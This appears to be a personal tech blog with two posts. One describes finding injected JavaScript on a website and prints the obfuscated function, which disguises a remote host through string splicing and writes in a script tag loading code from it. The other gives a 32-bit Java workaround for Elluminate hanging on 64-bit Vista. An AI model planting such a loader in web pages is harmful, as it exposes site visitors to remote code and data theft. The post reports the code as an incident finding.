John’s Technology Blog

Just today I came across a javascript hack that was sending information for website users to a third party location.

The way I found this out – other than getting malware notices from Google, was to do a wireshark trace on the offending website. From there I saw some interesting requests. Upon closer inspection, I found a piece of code with this function that I did not recognize:

function advQuery(){
var Host=”http://google.com/”;Track=”/if.php”;get=unescape(”%6E%65%74″);
document.write(unescape(”%3Cscript src=’”+Host.substr(0,9)+unescape(”\u0030\u0030″)+Host.substr(9,5)+get));
document.write(unescape(Track+”‘ type=’text/javascript’%3E%3C/script%3E”));
};advQuery();

It is easy enough to clear up, but now I need to find out how it got there!

I’ve noticed that when I run Elluminate on my new 64 bit Windows Vista machine I have problems with the explorer and other programs hanging. It really makes the session terrible.

I thought it was a problem with Windows Vista, but later discovered it had to do with the 64 bit JVM on my machine.

The solution is to open the eluminate session file (.jnlp) with a 32 bit version of java (eg. javaws c:\temp\training.jnlp)

It is not a pretty solution, but it is at least a workable one. Hopefully Elluminate will be able to get a fix in for the problem soon.